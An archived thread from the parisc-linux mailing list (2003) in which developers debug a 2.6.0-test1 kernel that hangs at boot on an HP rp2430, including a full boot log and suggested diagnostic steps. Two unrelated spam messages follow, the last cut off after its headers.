BIO: pool of 256 setup, 14Kb (56 bytes/bio)
biovec pool[0]:   1 bvecs: 256 entries (12 bytes)
biovec pool[1]:   4 bvecs: 256 entries (48 bytes)
biovec pool[2]:  16 bvecs: 256 entries (192 bytes)
biovec pool[3]:  64 bvecs: 256 entries (768 bytes)
biovec pool[4]: 128 bvecs: 256 entries (1536 bytes)
biovec pool[5]: 256 bvecs: 256 entries (3072 bytes)
SCSI subsystem initialized
drivers/usb/core/usb.c: registered new driver hub
pty: 256 Unix98 ptys configured
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 64) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
ttyS0 at I/O 0x3f8 (irq = 99) is a 16550A
ttyS1 at I/O 0x2f8 (irq = 100) is a 16550A
Soft power switch enabled, polling @ 0xf0400804.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.07
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:30:D3:01:5A:3B, IRQ 66.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth1: Digital DS21143 Tulip rev 65 at 0x12100, 00:30:6E:06:23:D0, IRQ 130.
sym0: <875> rev 0x26 on pci bus 1 device 3 function 0 irq 131
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
sym1: <895a> rev 0x1 on pci bus 0 device 15 function 0 irq 65
sym1: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi0 : sym-2.1.16a
anticipatory scheduling elevator
scsi1 : sym-2.1.16a
  Vendor: QUANTUM   Model: ATLAS5-9LVD       Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym1:5:0: tagged command queuing enabled, command queue depth 16.
  Vendor: SEAGATE   Model: ST336704LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym1:6:0: tagged command queuing enabled, command queue depth 16.
st: Version 20030622, fixed bufsize 32768, s/g segs 256
sym1:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 31)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 sda11 sda12 >
Attached scsi disk sda at scsi1, channel 0, id 5, lun 0
sym1:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 31)
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
SCSI device sdb: drive cache: write through
 sdb: sdb1
Attached scsi disk sdb at scsi1, channel 0, id 6, lun 0
Attached scsi generic sg0 at scsi1, channel 0, id 5, lun 0,  type 0
Attached scsi generic sg1 at scsi1, channel 0, id 6, lun 0,  type 0
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f4940000 (128 kB), fb at fb000000 (16 MB)
STI word mode ROM at f4940044, hpa at fb000000
STI id 35acda16-9a02587, conforms to spec rev. 8.0c
STI device: HPA4982A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
ohci-hcd 0000:00:0e.2: National Semiconduct USB Controller
ohci-hcd 0000:00:0e.2: irq 97, pci mem f4004000
ohci-hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci-hcd 0000:00:0e.2: Using NSC SuperIO setup
usb usb1: Product: National Semiconduct USB Controller
usb usb1: Manufacturer: Linux 2.6.0-test1-pa1 ohci-hcd
usb usb1: SerialNumber: 0000:00:0e.2
hub 1-0:0: USB hub found
hub 1-0:0: 3 ports detected
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :   913.200 MB/sec
   8regs_prefetch:   932.000 MB/sec
   32regs    :   877.200 MB/sec
   32regs_prefetch:   867.200 MB/sec
raid5: using function: 8regs_prefetch (932.000 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
oprofile: using timer interrupt.
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 16384 bind 32768)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 508k freed
Adding 250872k swap on /dev/sda2.  Priority:-1 extents:1

Here it hangs. (just in case, i tried a telnet but no success)

I so do a toc.

Unfortunately the IAOQ = 0x00000000000172b8  is not a relevant value?

On the other hand when I reboot with a working 2.4 kernel I noticed that
only some fs were already mounted during the boot with 2.6:
[...]
Freeing unused kernel memory: 242k freed
INIT: version 2.85 booLoading /etc/console/boottime.kmap.gz
Activating swap.
Adding Swap: 250872k swap-space (priority -1)
Checking root file system...
fsck 1.34-WIP (21-May-2003)
/dev/sda5 was not cleanly unmounted, check forced.
/dev/sda5: [...=======================| 100.0%
/dev/sda5: 54062/203008 files (2.7% non-contiguous), 256055/406012 blocks
modprobe: modprobe: Can't locate module char-major-10-135
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
System time was Thu Jul 17 14:52:05 UTC 2003.
Setting the System Clock using the Hardware Clock as reference...
modprobe: modprobe: Can't locate module char-major-10-135
Cannot access the Hardware Clock via any known method.
Use the --debug option to see the details of our search for an access method.
modprobe: modprobe: Can't locate module char-major-10-135
System Clock set. System local time is now Thu Jul 17 14:52:05 UTC 2003.
Calculating module dependencies... done.
Loading modules: 
Checking all file systems...
fsck 1.34-WIP (21-May-2003)
/dev/sda3 was not cleanly unmounted, check forced.
/dev/sda3: [...]======================| 100.0%
/dev/sda3: 28/15616 files (35.7% non-contiguous), 31760/62464 blocks
/dev/sda6 was not cleanly unmounted, check forced.
/dev/sda6: [...]======================| 100.0%
/dev/sda6: 5112/62496 files (4.6% non-contiguous), 114738/249840 blocks
/dev/sda7 was not cleanly unmounted, check forced.
/dev/sda7: [...]======================| 100.0%
/dev/sda7: 14/31232 files (0.0% non-contiguous), 3965/124912 blocks
/dev/sda8: clean, 132/31232 files, 11041/124912 blocks
/dev/sda9: clean, 109247/250368 files, 465650/499964 blocks
/dev/sda10: clean, 5352/250368 files, 429756/499964 blocks
/dev/sda11: clean, 47353/250368 files, 239067/499964 blocks
[...]

[sda5==/; sda3==/boot; sda6==/var; sda7==/tmp; sda8==/home; sda9==/usr/src;...]

hth,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Thu, 17 Jul 2003 08:52:03 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030717155203.GO30257@tausq.org>
References: <20030717001528.GA20610@systemhalted> <3F0BEA8300002113@ocpmta1.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622606 28014 80.91.229.3 (22 Nov 2014 02:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:46 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	Matthew Wilcox <willy@debian.org>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 09:48:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F4274837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 09:48:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D066FCD2F8; Thu, 17 Jul 2003 08:52:03 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F0BEA8300002113@ocpmta1.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18964

> Freeing unused kernel memory: 508k freed
> Adding 250872k swap on /dev/sda2.  Priority:-1 extents:1
> 
> Here it hangs. (just in case, i tried a telnet but no success)
> 
> I so do a toc.
> 
> Unfortunately the IAOQ = 0x00000000000172b8  is not a relevant value?

looks like a userspace address....

can you boot the kernel with init=/bin/sh and see what happens? can you
disable your swap partition (comment it out of /etc/fstab) and see what
happens?

thx
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: 17 Jul 2003 11:53:44 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <1058457224.2646.60.camel@mulgrave>
References: <20030717001528.GA20610@systemhalted>
	<3F0BEA8300002113@ocpmta1.freegates.net>  <20030717155203.GO30257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622606 28018 80.91.229.3 (22 Nov 2014 02:16:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:46 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	"Carlos O'Donell" <carlos@baldric.uwo.ca>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 09:58:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F9984837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 09:58:55 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h6HFriI14060;
	Thu, 17 Jul 2003 11:53:44 -0400
In-Reply-To: <20030717155203.GO30257@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18965

On Thu, 2003-07-17 at 11:52, Randolph Chung wrote:
> > Freeing unused kernel memory: 508k freed
> > Adding 250872k swap on /dev/sda2.  Priority:-1 extents:1
> > 
> > Here it hangs. (just in case, i tried a telnet but no success)
> > 
> > I so do a toc.
> > 
> > Unfortunately the IAOQ = 0x00000000000172b8  is not a relevant value?
> 
> looks like a userspace address....

Actually, I think it's an address in a module.  If it were from
userspace, it would have the bottom two bits set.

Unfortunately, I don't seem to have the email you're replying to, so I
can't tell if that's true or not.  If we could get the 64 bit compile to
do kallsyms, that would tell you definitively.

James




From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Thu, 17 Jul 2003 09:05:52 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20030717160551.GP30257@tausq.org>
References: <20030717001528.GA20610@systemhalted> <3F0BEA8300002113@ocpmta1.freegates.net> <20030717155203.GO30257@tausq.org> <1058457224.2646.60.camel@mulgrave>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622607 28278 80.91.229.3 (22 Nov 2014 02:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:47 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 10:02:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76E024837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 10:02:35 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0D43DCD2F8; Thu, 17 Jul 2003 09:05:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1058457224.2646.60.camel@mulgrave>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18966

> > looks like a userspace address....
> 
> Actually, I think it's an address in a module.  If it were from
> userspace, it would have the bottom two bits set.
> 
> Unfortunately, I don't seem to have the email you're replying to, so I
> can't tell if that's true or not.  If we could get the 64 bit compile to
> do kallsyms, that would tell you definitively.

you can't really do that here because he's getting the address from TOC
output from PDC...

but to rule this out, joel, can you recompile your kernel without
modules (everything builtin) and see what happens?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Thu, 17 Jul 2003 18:36:05 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3F0BEA8300002143@ocpmta1.freegates.net>
References: <20030717160551.GP30257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622607 28281 80.91.229.3 (22 Nov 2014 02:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:47 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"PARISC list" <parisc-linux@lists.parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
To: "Randolph Chung" <tausq@debian.org>,
	"James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 10:36:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 847AF4837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 10:36:10 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19dBhI-0002Fd-00; Thu, 17 Jul 2003 18:33:36 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 17 Jul 2003 18:36:05 +0200
In-Reply-To: <20030717160551.GP30257@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18967

Hi Randolph,

> but to rule this out, joel, can you recompile your kernel without
> modules (everything builtin) and see what happens?

It is :(

(for those first test I build it with make defconfig and just change sym1
to sym2 which works fine on my b180. And so I just check to be sure # CONFIG_MODULES
is not set)

Joel

ps: I am on going to test init=/bin/fs... 

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test1-pa1, fails, to, boot, on, rp2430
Date: Thu, 17 Jul 2003 19:12:03 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <3F0BEA830000215A@ocpmta1.freegates.net>
References: <20030717155203.GO30257@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622607 28283 80.91.229.3 (22 Nov 2014 02:16:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:47 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	"Matthew Wilcox" <willy@debian.org>
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 11:12:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 629094837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 11:12:09 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19dCG6-0001M1-00; Thu, 17 Jul 2003 19:09:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 17 Jul 2003 19:12:03 +0200
In-Reply-To: <20030717155203.GO30257@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18968

Hello Randolph,
>> 
>> > Freeing unused kernel memory: 508k freed
>> Adding 250872k swap on /dev/sda2.  Priority:-1 extents:1
>> 
>> Here it hangs. (just in case, i tried a telnet but no success)
>> 
>> I so do a toc.
>> 
>> Unfortunately the IAOQ = 0x00000000000172b8  is no
>>  a relevant value?
>
>looks like a userspace address....
>
>can you boot the kernel with init=/bin/sh and see what happens?

Well here it hangs at "Freeing unused kernel memory: 508k freed" but do not
mount anything else (still clean when rebooted with 2.4)

> can you
>disable your swap partition (comment it out of /etc/fstab) and see what
>happens?

Same results (even if I used the 2 tips together and even with -s for su
mode)

[and always the same IAOQ after TOC]

mm would it help if tomorrow I re-compile it in 64bits and disable CONFIG_KALLSYMS?

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: arafune@mip.ou.dk
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new mail            YFrHLVyB
Date: Thu, 17 Jul 2003 23:01:05 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <1DIFE7277BDFIID6@mip.ou.dk>
References: <9BE50L29J0JJ7I1F@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622608 28288 80.91.229.3 (22 Nov 2014 02:16:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:48 +0000 (UTC)
To: Parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 17:05:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from compuserve.com (cvg-65-29-194-174.cinci.rr.com [65.29.194.174])
	by dsl2.external.hp.com (Postfix) with SMTP id 01A994837
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jul 2003 17:05:16 -0600 (MDT)
In-Reply-To: <9BE50L29J0JJ7I1F@parisc-linux.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18969

English version  |   

        http://www.mail15.com.   :
1)   15 ;
2)   ;
3)     (POP,IMAP,SMTP);
4)       ;
5)        ;
6)    ;
7)   .

       ,  mailto:unsubscribe@mail15.com?subject=unsubscribe

*************

 We are glad to invite you at new free mail service http://www.mail15.com. The advantages of this service are:
 1) mailbox, up to 15 Mb;
 2) absolute privacy and high reliability;
 3) ability to use mail clients (POP3, IMAP4, SMTP);
 4) access from anywhere, anytime;
 5) flexible light-weight web interface without advertising banners;
 6) antivirus and antispam control;
 7) fast mail transfer;
 8) high speed network channel;
 9) flexible light-weight web interface;
 10) wide spread ability of mail filtering and forwarding mail;
 11) clock around support;

 If you wish to be removed:
mailto:unsubscribe@mail15.com?subject=unsubscrib

Zm4pHqoYmT



From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. McAdams" <dr_mcadams@mailcity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] live better, feel better
Date: Sun, 17 Aug 03 07:54:46 GMT
Lines: 64
Approved: news@gmane.org
Message-ID: <60-9l$4$-2$3wp8@5omwvib>
Reply-To: "Dr. McAdams" <dr_mcadams@mailcity.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="1120..40_92C.AE9_B"
X-Trace: ger.gmane.org 1416622608 28291 80.91.229.3 (22 Nov 2014 02:16:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:48 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 20:58:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [213.13.123.74])
	by dsl2.external.hp.com (Postfix) with SMTP id 05BF1482B
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jul 2003 20:58:21 -0600 (MDT)
Original-Received: from [108.119.236.7] by 192.25.206.7; Sun, 17 Aug 2003 07:54:46 +0600
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
